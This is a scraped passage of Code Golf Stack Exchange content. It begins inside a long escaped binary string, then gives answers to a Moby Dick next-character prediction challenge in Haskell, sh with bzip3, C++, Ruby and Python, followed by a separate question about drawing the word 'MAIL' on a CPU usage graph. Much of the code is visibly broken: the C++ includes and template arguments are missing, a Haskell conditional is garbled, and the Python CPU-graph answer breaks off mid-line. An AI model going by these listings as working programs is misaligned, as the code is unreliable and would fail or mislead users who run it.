xf0>=\\x1f\\x9f\\n\\xc1\\xa7\\xe7\\xe3\\xd3\"\\xf1q\\x19\\x9f\\xfbZ>\\xc7L>W\\xe3|\\xf1\\x08a\\xbd\\xbex\\x84d.\\x9fF\\x84Oq\\xe8\\xe3S\\xfe\\x9e\\xb7Au}\\x9af>\\xd0\\xe3C@|r\\x91\\xbfd\\x91\\xe2i\\xbfE\\xa47\\xf3|\\xf2)1\\xe73\\x01\\xf3\\x8co<\\x8b9\\x9fE\\xa4_\\xf5La\\xf6\\x0c\\xbd}~V\\x13\\xfd#\\x88$\\x14\\xfa\\x1f.\\xc5?\\x8b1\\xa4)\\xf1\\x0c\\xb3\\x99Zh0\\xe5lc\\x8a\\xafN9?\\x9d\\x02ISh\\xfa\\x94\\xb5O\\xc1\\xa1)\\xa11\\xc5\\x99\\xa7\\xc0\\xd7\\x14o\\xbfg\\x86{\\x1a\\xf6\\xf7\\xf4Y\\xef\\xef\\xf4m\\xf79]\\xef=Pw\\x0fN\\xdd\\x83^\\xf7|\\xe0t\\x0f\\xd2\\xdd\\x0bzIk\\xf4\\x1eL\\x9bb\\xfb)\\x1f\\xd5Ma\\x86\\xd3\\xa1b\\xc4\\x14\\xc0\\x99\\x02oS\\xe0mJG\\x7f\\n\\xeb\\x9d\\x92J\\xa6P\\x87)04\\xe5\\xb6\\xea\\x14\\xef\\x99\\xc2d\\xa6$\\xb9)e\\xd9c\\xa0\\x0e\\xf1\\xe8+L=J\\xf8J[\\xf3\\x99\\xf3\\xd5GV\\xf6(K\\x17\\xa2\\xf2\\x88Cb\\xa1,*1\\x0c\\xf8\\xafM\\x80?c\\xf0\\xcf\\x18\\xfc3\\xa3?\\xe3\\x1c\\x9f/x\\xca\\x8d\\xa1\\xcf\\xa0\\xe2\\x92\\x88Y\\xa2\\xaa%Lo\\x89~\\x96\\x1bDBu\\x89\\xaa\\x96\\\\D^\\xd2\\x96\\xfcl/~I\\xd5\\xb4D-K\\xd8\\xe2\\x12;/\\xb1\\xfe\\x92\\x84\\xb5D\\xc7K>\\xbf\\\\b\\xfd\\x1b\\xf2\\xe7\\xd2\\x8a\\xbf%j[\\x12\\x1cK\\xd8\\xc1\\x92\\xfe\\xc5\\x92P\\\\\\xc2:\\x96\\x98i\\x89\\x8a\\x97(\\xfe\\x86\\xa7\\x01c\\x03W!\\'\\xb0\\x06h\\x88\\x9b\\x80,\\x16\\x80\\x0c\\x01\\x9d\\x95\\xe0\\xb4\\r\\xf1\\xb6\\x806_@\\x9a\\x0fh\\xf3\\x05c\\x8d\\xe6\\x00\\xfa\\x15\\xd0Y\\t\\xf8\\x10\"\\xe0\\x849\\x80\\xd6\\x05 n@\\xfb+ u\\x07DR@\\xc6\\x0f$P\\xaa\"rn\\x15\\xd4\\x11\\xb9\\x04\\x10Ty\\xca\\xf5\\xc5\\xa0\\xac0\\x1cH\\xd2\\x14\\n\\x1d\\x94\\x18\\xcb\\xd7\\xb2\\x01\\x07\\x04A\\x01M\\xf1\\xe1l\\xe0\\xf1TR\\xa9\\xa4\\x82\\xa0\\xc3+\\xc8\\x94\\x01\\xb7\\xc1\\x03:\\xdc\\x01UE\\x10\\xaaO\\x05Z`\\x98\\x1en\\xd2\\xe3\\x10\\xbb\\x87\\r{\\xd8\\xbb\\x87\\x9b\\xf4\\xf0\\x8d\\x1e\\xde\\xd5\\x83\\xfd\\xf7\\xbe2\\x16\\xaf\\xed\\xbd\\x02v\\xbd\\x81Z\\xa0\\x07\\\\\\xf6F\\x0c\\x80\\x8f\\xf7z\\x0c\\x00\\x18{TZ=\\x82\\xab\\x97j\\x18\\xf5\\xc6LF \\xf6h\\x9f\\xf56\\n\\x97=\\xdc\\xa4\\xf7\\xc6\\xcap\\xa9\\x1e\\x05F\\x8f\\xa6m\\x0f\\xe8\\xb8\\xb0Ab{\\xfaC\\xc0\\xd3\\xa13ra5)\\xb7\\x84\\xf0\\x05J\\xbe@\\xc9[\\x14wA$]X7E/2\\x1c\\rl\\xad\\x1f2\\xdd\\x96\\x8b}[\\x8e\\xd5\\xb6\\xd8w\\x0b\\xa6n\\x7f\\xf2\\xbe\\xba:\\xcbE\\x11\\xd1G,!\\xfe\\x97=]p\\'\\xec\\xa2\\xa3\\xe2\\x16%m\\x856\\t\\xff\\xd9\\nmz\\x17\\x91\\x8b\\x9c[\\xda\\x8d[\\x94\\xbf\\xc5$\\x17\\t\\xf3\\x02\\xf7[\\x92\\xc0\\x16\\x1e\\xb8\\x05S\\xb6|c\\xbe\\xa5\\'\\xba\\xe5\\x90xK\\x83uK\\xf9\\xb7\\xa5\\xed\\xb5\\xe5\\xde\\xfeVPI\\x9aV\\xdbX]hK\\xf1\\xb1\\xed)\\xae\\xb5\\x0e\\xba\\x9c\\x16m/\\xcf\\xeaA\\xb6V\\xaa\\x93{\\x0b\\xed[\\xb4\\x17Zd\\x94\\x16I\\xb9ES\\xb9\\x05]\\xf5\\x08\\xe3\\x960\\xedc\\xef\\xdbx\\x1c\\xc3\\xb4\\xba\\x8a\\t-\\xb1\\x91\\x90\\xf9\\x96\\x80\\x86\\xd4\\x0b-\\x81\\x12\\xa9\\x17\\xfc\\x1c1\\xd6\\xa1\\x976\\x82\\xef\\x8e\\xacf$k\\x18\\x81\\x0b\\x0e\\xa1\\xec\\xf0\\xbd\\xbeC#\\xd9\\xa1\\xbd\\xecp\\x99\\xd2Ag\\x0e\\xd9\\xcb\\xa1m=\\x02\\xdd\\x1c(\\xdc\\x88\\xb3\\x9d\\xd1P\\xb53\"\\xd3\\x8d\\xe8D8\\xb0\\x15\\x87\\x96\\xc2\\x88;\\x98\\x0e-n\\xc7R\\t\\xc7\\xed#\\x8c\\xe5\\xf0\\xa5\\xd1\\x88\\xa5\\x8f\\xc6\\xea\\x04\\x0e\\x07\\xd5\\x0e\\x9f\\x0c9\\x1cn8|t\\xe4p\\x10\\xe2p<\\xe2\\xf0\\xb9\\xaf\\xc3\\xd7\\xc1\\x0e\\xdf\\t9|S\\xe4p\\xce\\xe1\\xf0\\xfd\\x91\\xc3\\x99\\x88\\xc3\\xb7J\\x0e\\xe7\\'\\x0e\\xdf\\t9\\x9c]8|S\\xe4p\\xce\\xe1p\\xfa\\xe1p&\\xe2pR\\xe2\\xf0\\xad\\x92\\xf3\\xc2+\\x9e\\x99\\x8c\\xd3\\x8f\\x11\\xe1\\xe4H>\\x94v\\x80c\\x14+\\x1c>\\xffv\\xfe\\xf5!\\x1a\\'ct\\xb2\\x7f\\x8eO\\xa5\\xdf\\xe7\\xc8\\x89\\xb7\\x90=\\'\\x8b\\xc8\\xb5\\xbf\\x11\\xd5\\x8fC\\xfev\\xa4B\\x95km\\x0eu\\xab\\xc3\\xb7\\xec\\x8e\\x94\\xbbR\\x04\\x8f(\\x84\\x1c)w\\x856;R\\x04Ki<\\x82\\xaa9R\\xcd~\\x11\\x91\\nc\\x04\\x81\\x1bY\\xe9\\xe7\\x1d\\xa2\\xf5N\\xbd\\xf2N&z\\xc7\\xbb\\xde\\xb9d\\xf8\\x0e\\x1f\\x7f\\x87\\xa5\\xbf\\x13#\\xef\\xef\\x1a\\xb2\\xef\\x94`74\\x9b\\x1cB\\xf6f\\xa0;z\\x87\\xd3\\xbc\\xbb\\xbc\\xcd\\xda\\xdcZ\\r\\xf7\\x0ef\\xbe\\x83\\x99m\\x0e|\\x1c\\xf0\\xea\\x86\\n\\xff\\x06]\\xdf\\xd0#\\xb8\\xa1\\xefyC\\x8f\\xe0\\x86/\\xacnh\\x9d\\xde\\xd0P\\xbd\\xa1\\xf7pC+\\xe4\\x86\\xf5>nu\\x17\\x0eHZ\\x12\\xbf\\x17\\xe4/\\xd1\\xe5/\\xd1\\xfb/q\\x03\\xa9D7\\xbeTR\\xff,q\\xd7\\xa8D]R\\xa23X\\xe2\\xba\\x7f\\tU\\x97\\xb0E\\x89{\\x0f%\\x0c[\\xe2\\xf3\\x84\\x12Ek\\x89\\xa3\\xe6\\x92u ^\\x82\\xaf\\x96\\xc4\\x02R\\x14\\x948\\xed)\\xb9\\xcc\\xc6\\x8d\\xbb.\\xed\\xc9.]\\xcd\\xae,X\\x9a\\x80]z\\x16]v\\xdf\\xa5\\x90\\xea\\xc2R\\xba\\xa2\\xbfS\\xce\\xee\\xd28\\xee\\xe2\\xa0].\\x83t\\xed\\xcfA\\xce!K)\\xd0|N\\xa4u\\t\\x99\\xae\\xab\\xf6\\xe8\\xe2\\xa2]\\x8b/t\\xf5\\x03a\\xd3\\xa5L\\xeeBZ\\xba\\x14\\x02c\\x9e\\xce\\xa8|g\\xe4\\x92\\x19\\xb7\\x07f\\xe4\\x92\\x19]\\x8bY_w:\\xa3\\xee\\x98Q\\x1f\\xcd\\xb8:2\\x9b1\\xc3\\\\\\x83c\\xcd\\xe6f\\x84\\xf8\\x0cE\\xccH\\xc53\\x92\\xf9\\x0c\\x7f\\x9e\\xe1V3R\\xf1\\x8c+\\xd93:\\xa63\\x90\\xe1\\x9c/\\xd8g\\x00\\x91\\x99Q\\xa2\\xce0\\xc1\\x8c\\xae\\xc7\\x8c\\x18\\x9f\\x11_3\\xac1\\x03Zg\\xd6\\xe6P\\xfb\\x0c\\x18\\x9ea\\x81\\x07&{`\\xb2\\x07y\\xb1$\\x93\\x87\\x07\\x9erq\\xf2\\xe1Zq\\xfa\\xe1F\\x01\\xf7\\x81\\xcd=\\\\\\xf1\\x14\\xecx\\x00Q\\x1e\\x04;$\\x83<\\x08\\xa2H/\\xb2\\xea|\\xc4\\xb8\\xa9\\xe2GUb\\xaaj9]\\x95\\x05W\\xd9Q\\xf5\\xa4V\\x89\\xaaj\\xacJ\\xa9R\\xefT\\xb1x\\x15\\x86X%\\xca\\xab\\x90\\x8e*uK\\xd5\\xd7x\\xaf\\x12\\xc3\\xd5\\x9a\\x06n\\x95\\xb8\\xac\\x86\\x8aUU\\xae\\xe5U\\xb9\\xb1Y\\x85\\x13\\x9f\\x91\\xc4\\xcf:\\xfa\\xe2\\xb3\\xa6\\xae\\xec\\x0c\\x1ap\\x161\\x00\\xd2q\\xc6\\xbf$;\\xcb\\xeb\\x80\\xefv\\xad~\\x86{\\x9cQ\\r\\x9f\\xd9C.\\xf1\\x95\\xdfh\\xb6\\x85\\xf8\\x9b\\xff\\xfe\\xd2\\xa4Q\\xd0\\xdc \\xc2T\\x9b\\x07u\\xdd&`\\xd4\\x14#\\xc8\\x19@\\x13\\xf6\\xd9\\x9c\\xa8\\xb75Sf\\x00\\x80\\x9b\\xdc\\x82lF\\xaa\\xcd\\xa6hH0\\xbe\\xd9A$\\xa34\\xf9\\xf8\\xb6\\xd9U\\xfcmr\\xa2\\xd3\\xa4\\xbejr7\\xb2)\\x8a\\x95z\\xb0I\\x1ai\\xd2\\x15kr\\x81\\xac\\xe9\\xf06\"\\xa9\\x89\\xce\\x9a\\x94LM\\xeb\\xf8\\xac\\xcf\\xc7\\xab\\xfd\\x89j\\xb5\\xcfU\\xa8>t\\xa4\\x0fI\\xe9S\\x15\\xf4\\xa9\\xc9\\xfb\\x16HR\\xe6\\xf4\\xb9\\x98\\xd1\\x07\\x7f\\xfa`U\\x1f\\x04\\xeb\\x93\\x9c\\xfb\\xd8\\xb0\\xbfa26\\xd7\\'\\xab\\xf5\\xd9g\\x1f|\\xeaS\\x9c\\xf7\\t\\xcb>\\xf0\\xd3\\xc7\\xd1\\xfaV\\x8b\\xe0\\x8d\\x1d\\xbd\\xd1s~#X\\xdf\\xf8\\x94\\xfc\\x8d\\xb5\\xbf\\xb1\\xe07\\xdd\\xa7y\\xcb\\x18\\xfd\\x19k\\xcfc\\xf0<\\xdfB\\xe5\\xa9\\xb8\\xf3T\\xc6\\xf9@a$O\\xb8\\xe7\\xdb\\xcc\\x00\\x8d\\xc9\\x13\\xf9y\\x02;O\\xea\\xcd\\xd3\\xe7\\xcb\\xe3\\xd7y6\\x94\\xe7\\x7ft\\xe5\\xe9\\xd2\\xe5\\xe9\\xe0\\xe6\\xb1\\xe1F\\x9b&&\\x0fH\\xe692\\xcbc\\x97\\xbc\\x85\\x97yL\\xd0fD\\x1b\\xf5\\xb4\\x15}3#,\\xd7\\xde\\xe8z\\\\\\x98q\\x9b\\xfbDm\\xc9\\xab\\xc2\\xfd\\xda3\\x1d\\xdb\\x06D7\\xd6\\xcf\\xba\\n\\xa2m)S\\xe4\\x18\\xb6M7\\xb7\\xcd1M\\x9bo\\xdf\\xda(\\xb8\\r\\x18\\xb4\\xeb\\x1a\\xa9m1\\x9c\\xb0\\xc7\\xb6\\x18NZ\\x1am\\xba\\x1bmxb\\x9b\\xeb\\x9b\\xed\\xa2\\x86r\\xfb\\x87\"@\\xdbS#\\xb7i\\xcc\\xb4\\xf3\\x1a\\xcac4\\xf9\\x89\\x1c\\xfd\\xc9\\xba\\xaf4\\xe6\\x9e\\xd3\\'\\x98\\xd6\\'2\\xf3\\'\\xeb\\xbf6|\\x02\\x9c\\xc7\\xf0\\xe81\\x86\\x19c\\xae\\xb15\\x96W\\x8f9\\x14\\x19C%>\\xd9\\xf0>\\xb6\\x0fY\\x80\\xe41~5\\x06\\xd4\\xc7\\xc0\\xc4\\x98\\x92b\\x0cL\\x8c\\xe1Gc\\xf8\\xd1\\x98o#\\xc7\\xf4\\xa5\\xc7\\xb0\\xea1\\x1cm\\x0c]\\x1ds\\x9bjLwaL\\x95:\\x86\\xad\\x8f\\xb9\\xc60\\x16\\xca(g\\xdd\\xe3\\x01\\x1b\\x02\\r7P\\xc6[J\\xa0[\\xa11\\xc2 n\nmaxWordLen = 20\nwordSeqDictSize :: Integral n => n\nwordSeqDictSize = 255\npredict :: [Trie] -> Char -> State ([Either Char Int], String) Char\npredict statDict c = do\n (nextChar:future, begunWord) <- get\n case nextChar of\n Left p -> do\n put (future, [])\n return p\n Right lw -> do\n let wpre = begunWord++[c]\n put (future, wpre)\n return $ trieLook (tail wpre) (case drop lw statDict of{(t:_)->t;_->Trie[]})\nnewtype Trie = Trie [(Char,Trie)] deriving (Show, Generic)\ninstance Flat Trie\ntrieLook :: String -> Trie -> Char\ntrieLook [] (Trie ((p,_):_)) = p\ntrieLook (c:cs) (Trie m)\n | Just t' <- lookup c m = trieLook cs t'\ntrieLook _ _ = ' '\nmoby :: IO (String -> String)\nmoby = do\n approxWSeq <- BSL.unpack . decompress <$> BSL.readFile \"wordsseq\"\n Right fallbackTries <- unflat <$> BS.readFile \"dicttries\"\n seqWords <- read <$> readFile \"seqwords\"\n let rdict = Map.fromList $ zip [maxWordLen..wordSeqDictSize] seqWords\n return $ \\orig ->\n let reconstructed = approxWSeq >>= \\i\n -> if i rdict Map.! i\n in (`evalState`(reconstructed, \"\"))\n $ mapM (predict fallbackTries) (' ':orig)\n```\nExample:\n```\nCall me Ishmael. Some years ago--never mind how long precisely--having\n ap me ,nhmael. Hme ?ears |ce--never usd how long .aacesely--|ubing\nlittle or no money in my purse, and nothing particular to interest me on\nlittle or no ?ivey in my ?efse, and ,uwhing .hrticular to Bdaenest me on\nshore, I thought I would sail about a little and see the watery part of\n?neae, I thought I would cfl about a little and see the |rkers part of\nthe world. It is a way I have of driving off the spleen and regulating\nthe world. It is a way I have of ,uiving off the |kli and .ia \nthe circulation. Whenever I find myself growing grim about the mouth;\nthe Ca . B I rtd |yself ,haoing eom about the ?ivlh;\nwhenever it is a damp, drizzly November in my soul; whenever I find\nBaieever it is a 'mp, ,uiv Bar in my cfl; Baieever I rtd\n```\nUses three pre-computed auxiliary files:\n* `seqwords` contains the 236 most common words.\n* `wordsseq` contains an LZMA-compressed sequece of these words, and for all words not among the 236 most common, the length.\n* `dicttries` contains, for each word-length, a decision tree that contains all remaining words. From these tries, entries are picked as we go.\nThis way, we achieve significantly lower error rate than all the other lossy schemes; unfortunately, the `wordsseq` file is still too big to be competitive.\nHere's a completed version that creates the files and does the analysis:\n```\ndepunct :: String -> [String]\ndepunct (p:l) = (p:take lm1 wordr) : depunct (drop lm1 wordr ++ srcr)\n where lm1 = maxWordLen-1\n (wordr, srcr) = (`span`l) $ if isAlpha p\n then \\c -> isLetter c || c=='\\''\n else not . isAlpha\ndepunct []=[]\nmhead :: Monoid a => [a] -> a\nmhead (h:_) = h\nmhead [] = mempty\nlimit :: [Int] -> [Int]\nlimit = go 0\n where go z (n:l) | z<100 = n : go (z+n) l\n go _ l = take 1 l\npackStr :: String -> Integer\npackStr = go 0\n where go n [] = n\n go n (c:cs)\n | c>='a' && c<='z' = go (28*n + fromIntegral\n (1 + fromEnum c - fromEnum 'a')) cs\n | otherwise = go (28*n) cs\nmkTrie :: [String] -> Trie\nmkTrie [] = Trie []\nmkTrie strs = Trie [ (c, mkTrie . filter (not . null) $ tail<$>l)\n | l@((c:_):_) <- sortBy (comparing length)\n . groupBy ((==)`on`head)\n $ sortBy (comparing head) strs ]\nmkTries :: [String] -> [Trie]\nmkTries rsrc = [ mkTrie $ filter ((==l) . length) rsrc\n | l <- [0..maximum (length<$>rsrc)] ]\nmain :: IO ()\nmain = do\n orig <- readFile \"whale.txt\"\n let wordchopped = depunct orig\n dictRes\n = take 5000\n . map mhead\n . sortBy (comparing $ negate . length)\n . group . sort\n $ wordchopped\n dict = Map.fromList $ zip dictRes [maxWordLen..wordSeqDictSize]\n rdict = Map.fromList $ zip [maxWordLen..wordSeqDictSize] dictRes\n approxWSeq = [ case Map.lookup w dict of\n Just i -> i\n Nothing -> fromIntegral (length w - 1) :: Word8\n | w <- wordchopped ]\n fallbackTries = mkTries . drop (wordSeqDictSize-maxWordLen) $ dictRes\n reconstructed = approxWSeq >>= \\i\n -> if i rdict Map.! i\n predicted = (`evalState`(reconstructed, \"\"))\n $ mapM (predict fallbackTries) (' ':orig)\n incorrects = length . filter id $ zipWith (/=) orig predicted\n putStrLn $ \"longest word: \"++show(maximum $ length<$>wordchopped)\n putStrLn $ show incorrects++\" errors / \"++show (length orig)++\" chars\"\n BSL.writeFile \"wordsseq\" . compress $ BSL.pack approxWSeq\n BS.writeFile \"dicttries\" $ flat fallbackTries\n writeFile \"seqwords\" . show $ take (256-maxWordLen) dictRes\n writeFile \"whale-approx.txt\" . unlines $ coLines orig predicted\ncoLines :: String -> String -> [String]\ncoLines [] _ = [[],[]]\ncoLines ('\\n':l) (_:m) = []:[]:coLines l m\ncoLines l ('\\n':m) = coLines l ('|':m)\ncoLines (c:l) (d:m) = case coLines l m of\n (lt:mt:r) -> (c:lt):(d:mt):r\n```\n[Answer]\n## sh+[bzip3](https://repology.org/project/bzip3/versions), 2\\*321,287+0 = 642574\nBased on [this](https://codegolf.stackexchange.com/a/152931/61379) submission - except bzip3 manages to get a substantially better compression ratio. Building the file:\n```\n#!/bin/sh\nif [ $# -ne 3 ]\nthen\n echo \"Usage $0 gen.sh datafile output.sh\"\n exit 1\nfi\ncat $1 > $3\ndd ibs=1 if=$2 skip=1 | bzip3 -e -c >> $3\nchmod +x $3\n```\nAnd the framework:\n```\ndd if=$0 bs=1 skip=50|bzip3 -d&exec cat>/dev/null\n```\n[Answer]\n# C++ (WIP), 1923\\*2 + 1017344 = 1021190\n```\n#include \n#include \n#include \n#include \n#include \nusing namespace std;\nconstexpr minstd_rand::result_type seed = 10087702;\ntemplate\nclass discrete_mapped_distribution {\nprivate:\n discrete_distribution distr;\n vector values;\npublic:\n discrete_mapped_distribution() :\n distr(), values() {\n }\n template::value,\n I>::type>\n discrete_mapped_distribution(map distribution) :\n values() {\n vector counts;\n values.reserve(distribution.size());\n counts.reserve(distribution.size());\n for (typename map::const_reference count : distribution) {\n values.push_back(count.first);\n counts.push_back(count.second);\n }\n distr = discrete_distribution(counts.cbegin(), counts.cend());\n }\n discrete_mapped_distribution(const discrete_mapped_distribution&) = default;\n discrete_mapped_distribution& operator=(const discrete_mapped_distribution&) = default;\n template\n T operator()(URNG& urng) {\n return values.at(distr(urng));\n }\n};\nclass generator2 {\nprivate:\n static map> letters;\n minstd_rand rng;\npublic:\n static void initDistribution(const string& text) {\n map> letterDistribution;\n string::const_iterator it = text.cbegin();\n char oldLetter = *it++;\n for (; it != text.cend();) {\n ++(letterDistribution[oldLetter][*it]);\n oldLetter = *it++;\n }\n generator2::letters = map>();\n for (map>::const_reference letter : letterDistribution) {\n generator2::letters[letter.first] = discrete_mapped_distribution(letter.second);\n }\n }\n generator2() :\n rng(seed) {\n }\n char getNextChar(char in) {\n return letters.at(in)(rng);\n }\n};\nmap> generator2::letters;\n```\nAs it stand this solution is WIP and therefore ungolfed. Also considering that the actual code size barely has any impact on the score I thought I post my answer first before starting to micro optimize it. \n*(Full code available here: - Includes full program and seed search)*\nThis solution is based on a RNG. First I analyze the text. I create a map that counts the occurrences of two consecutive characters. Then I create a distribution map. This is all done statically so should be in accordance of the rules.\nThen while trying to print the text I do a lookup and pull a random character of the possible ones. While this usually produces worse results than just outputting the most common following letter, there could are likely god seeds that will produce better results. That's why the seed is hard coded. I'm currently searching for the best seed. And I will update this answer once I find better seeds. So stay posted!\nIf anyone wants to search for seeds themselves or use different RNGs feel free to fork the repo.\nMethod used to calculate score: \n*Note even though the total score is the worst at the moment, it beats the error count of just outputting spaces. And the chances are good that the score will drop, by checking more seeds.*\n## Changelog\n* **2018/01/24**: Posted inital answer. \nChecked seeds: 0-50000. Score: 2305\\*2 + 1017754 = 1022364\n* **2018/01/24**: Did some minimal golfing. Added link to score calculation method. \nChecked seeds: 0-80000. Score: 1920\\*2 + 1017754 = 1021594 (-770)\n* **2018/02/02**: New seed (10087702) (didn't find the time to fix the submission) \nChecked seeds: 0-32000000. Score: 1923\\*2 + 1017344 = 1021190 (-404)\n[Answer]\n# Ruby, 1164418 (ouch)\nI just wanted to see how well I could do without checking any other answers. \nI'm not sure if this is allowed because it includes a literal I generated via analyzing the file, but even if it wasn't it's not like it was in danger of beating anyone.\n```\nx=\"\\\"ect,htabsdd,in,\\\\nodniwlrfydbulkm;f?ckgwvi0,.*pr;\\\\\\\"uz17klI\\\\n-c'WSpA\\\\nTwqu8.77!-BeWO5.4.CoP\\\\n\\\\\\\"UHEFu2.?-9.jo6.NI3.MaLYDOGoOAR'QUECziJoxp(\\\\nYa:\\\\nVI);K\\\\nUS*IZEX\\\\n&\\\\n$\\\\n_y[S\\\"\"\nf=->n{(x.include? n)? x[x.index(n)+1] : ' '}\n```\n## How I generated `x`\nFirst, I generated `a.txt` with the following:\n```\ngrep -o \"..\" whale2.txt | sort | uniq -c|sort -bn>a.txt\n```\nThen I generated `a.csv`:\n```\ncat a.txt | awk '{ print $1\",\"$2 }'|sort -n|tac>a.csv\n```\nThen I parsed it into `x` with the following Ruby script:\n```\nf={}\nFile.open('./a.csv').each{|l|x=l.partition(',')\nf[x.last[0..1]]=x.first}\nn={}\nr={}\nf.each{|k,v|if((r.include? k[0]and v>n[k[0]])or not r.include? k[0])and not k[1].nil?\nr[k[0]]=k[1]\nn[k[0]]=v\nend}\ns=''\nr.each{|k,v|s+=k+v}\nputs s.inspect\n```\n## How I scored\n```\nw=File.read('whale2.txt')\nx=\"ect,htabsdd,in,\\nodniwlrfydbulkm;f?ckgwvi0,.*pr;\\\"uz17klI\\n-c'WSpA\\nTwqu8.77!-BeWO5.4.CoP\\n\\\"UHEFu2.?-9.jo6.NI3.MaLYDOGoOAR'QUECziJoxp(\\nYa:\\nVI);K\\nUS*IZEX\\n&\\n$\\n_y[S\"\nf=->n{(x.include? n)? x[x.index(n)+1] : ' '}\nscore = 235\nw.each_line{|l|v=l[0];l[0..-3].each_char{|n|v+=f[n]};v.split(//).each_with_index{|c,i|if l[i]==c\nprint c\nelse\nprint '_'\nscore+=1\nend}}\nputs \"FINAL SCORE: #{score}\"\n```\n[Answer]\n# [Python 3](https://docs.python.org/3/) (644449\\*2+0) 1288898 points\nPerfect accuracy in *only* 644449 bytes\n```\nimport zlib,base64 as s\nt=enumerate(zlib.decompress(s.b64decode(b'###')).decode());a=lambda c:next(t)[1]\n```\nThe full code cannot fit in an answer, so I have put it [here](https://github.com/Legorhin/mobydick/blob/master/modified.py) and replaced the large binary string literal with `b'###'` in the answer text.\nThis is generated with the following code, where `modified.py` is the generated file, and `cheatsheet.txt` is the `whale2.txt` file starting at the second character.\n```\nimport zlib, base64\nwith open(\"modified.py\",\"w\") as writer:\n writer.write(\"import zlib,base64 as s\\nt=enumerate(zlib.decompress(s.b64decode(\")\n with open(\"cheatsheet.txt\",\"rb\") as source:\n text = source.read()\n writer.write(str(base64.b64encode(zlib.compress(text,9))))\n writer.write(')).decode());a=lambda c:next(t)[1]')\n```\nThe code can be executed by adding the following to the end of `modified.py`. `whale2.txt` must be in the same directory as `modified.py`, and the output will be written to `out.txt`.\n```\nwith open(\"out.txt\",\"w\") as writer:\n with open(\"whale2.txt\",\"r\") as reader:\n text = reader.read()\n for b in text:\n c = a(b)\n writer.write(c)\n```\nThis answer does not directly access either `whale.txt` or `whale2.txt`. It makes use of existing standard compression libraries as explicitly allowed in the rules.\n[Answer]\n# [Python 3](https://docs.python.org/3/), (146\\*2+879757) 880049 bytes\n```\ndef f(c):return\"\\n t \\n 2 sS \\n - 08........ huaoRooe oioaohue thpih eEA \\n neo enueee neue hteht e\"[ord(c)-10]\n```\n[Try it online!](https://tio.run/##bVRdb9s2FH0Of8VtAizyZnt28jK4yEMRNM2wDAWaBEPgGAEtXZmEKVKjKH@g6G/PzpXVJN2mF4n385xzeVXvkwn@/Pm54JLKLB/MIqc2@uNHT//3JILjjKi5lQ8aEU1@G/dPH2JaHb6EwBRs0MG0TMnU1hB//NDlkOcgcexbZsYJESaxScTH8xALgBhNJwv1rE7o3q@CK7mgPBRMS3Zhq2AuI//dss/3dEHz@WTx8/TsnMoQ6Ymsp6j9ijOYBgvE1pE3CDs/w3dP0ug4mKmjE1q5sNSuC5GjOBDaYZAYsb20mkvUYi6OBf1yQVPxVtY/WV/wDmmV3mXqCEYQqzjqxNlrcpc2GHb@NQtup6tloWk3o918upBiAwIV@eghS44cDxPBMWYv/YBN2aoOMVGzb75/JluxTUoJz4p100bOhGlpHaMgIsdNKiDRCYWafRZPL2ePtU7mMYVHCXrcGu14nHbpFB0S7xLSxDGOrItscCg1zl1oWE7W5yFGziVsoo4EuA1t89QrKQU6TjKbzobenXE6WwDX0arlppEW2Q@pqPymNMS2PmWH2HcHXbqIkrLXqJ9osju/uroa0AWwkPYF/ZAh7QBQKp1@/Ua4r6djwKp0ei0ykLL/JtGNQb1J/ZW@fvtv7pAcFBVyuL4opPqEO8xk9jYDunZjGh9eWT@oIeHaLDleTAcK6c/q493Dn59vPn96GCuV3bZ17SwWYbknTTe4XHQZfNNWdbIbpvvGcKQU4PsUdVUB@G1uQnDAcWeYakz1EDQaJSOzXOrIMo08aEA3rCNey1Dsh510y6itf0@/U4MVNbZSPmzHdM201Q3xBs2KtknWr@BsKLgC7Hc2B6SD8gcQzZC2NhmgwhpwVAa@NcfcWC6HVIV8jQpuTwzizlngK/oE5/DXYFrpPZVOr9CiFKMS4xpYPHmdrLSDQ4zbEF3RIXRhgzLQQhC@wPuO6D1hQZpQsQlbrK8r0D5yJUtVCFGpJzkV9kk7m/ZQ//gvIwu0Dy0lve5kEybSo@lUpgAIwra3Jta5EViVzAs7lZTXFUOHbr9GJagSmiB0yZSDGJqjamhliB73FnLqjcgbWswFIwvtyii78gF/t5yHHWfHKWES11DZ2FxUqwIoaxc843e05tSBoAZ5trR5pxgIql6wYthxKthZmWgCzr4SsPmA/0lseXxMo9H1h8s/bu4f7tQ/ \"Python 3 – Try It Online\")\nPretty straightforward frequency table. Each position in the string corresponds to the current character's ascii code (minus 10 = 0x0a = '\\n', the lowest character in the file), and the character at each index is the most frequent next character. Assuming I calculated the frequencies right…\nTested with the code from [user202729's test](https://codegolf.stackexchange.com/a/152897/3112)\n]"}}},{"rowIdx":17,"cells":{"text":{"kind":"string","value":"[Question]\n [\nI have come across an article where students used network traffic to draw their university on the country's [IPv6](http://en.wikipedia.org/wiki/IPv6) graph. [[image]](http://kep.cdn.index.hu/1/0/409/4091/40917/4091708_d30ae918f92c2d7794e9620cb2cf1321_wm.png)\n**Your goal** is simple to tell, but hard to implement. *Draw* the text MAIL (as it is one of the few words that can be read on a 1D graph) on the CPU graph. \nIt should look something like this: \n![Result](https://i.stack.imgur.com/DFZPz.gif)\n# Elaborating a bit more on what qualifies:\n* The code does not need to be cross-platform (so you won't need unknown APIs to deal with).\n* You may capture it in any general CPU usage utility that you have.\n* The graph looks a bit worse on a different machine: I trust you this time.\n* The base CPU usage % must be continuous, so if you generate a random wave and highlight something that looks like the word MAIL, it's obviously cheating.\n* You may choose the maximum load to use, but it has to be substantial enough to clearly see it.\n* You must follow the linearity of the example. (For M it looks like this: base %, then sudden increase to the specified max, fall gradually to a lower %, rise back to max and sudden drop to the base % again.)\n* If it's unreadable, voters will notice after all.\nStandard loopholes apply. Post the images too!\n \n[Answer]\n# Python, ~~358~~ ~~281~~ ~~268~~ ~~221~~ 194 bytes\nMonochrome is *so* last year. This uses multiple processes and syscalls to achieve **two color** CPU graphs!\n```\nimport os,time\nA='%-99o'%int('t12q2lxqkap48euoej9429cstbnazl63ubyryteo49u',36)\nfor i in'0123456':\n t=os.fork()\n while t<1:T=int(time.time())%50;(time.sleep,(id,os.urandom)[i \n> ![Activity Monitor CPU Load graph](https://i.stack.imgur.com/QLl3f.png)\n> ![Activity Monitor CPU History graph](https://i.stack.imgur.com/T0O6E.png)\n> \n> \n> ![Repeats on the CPU History graph](https://i.stack.imgur.com/uorWS.png)\n> \n> \n> \nOutput from MenuMeters:\n> \n> ![MenuMeters output](https://i.stack.imgur.com/xCGVF.png)\n> \n> \n> \nAll outputs were generated with an update speed of 1s. No significant background tasks were running, though this output quite easily beats out any single-threaded CPU task.\nThis code assumes you have 8 cores. It should be pretty easy to modify for 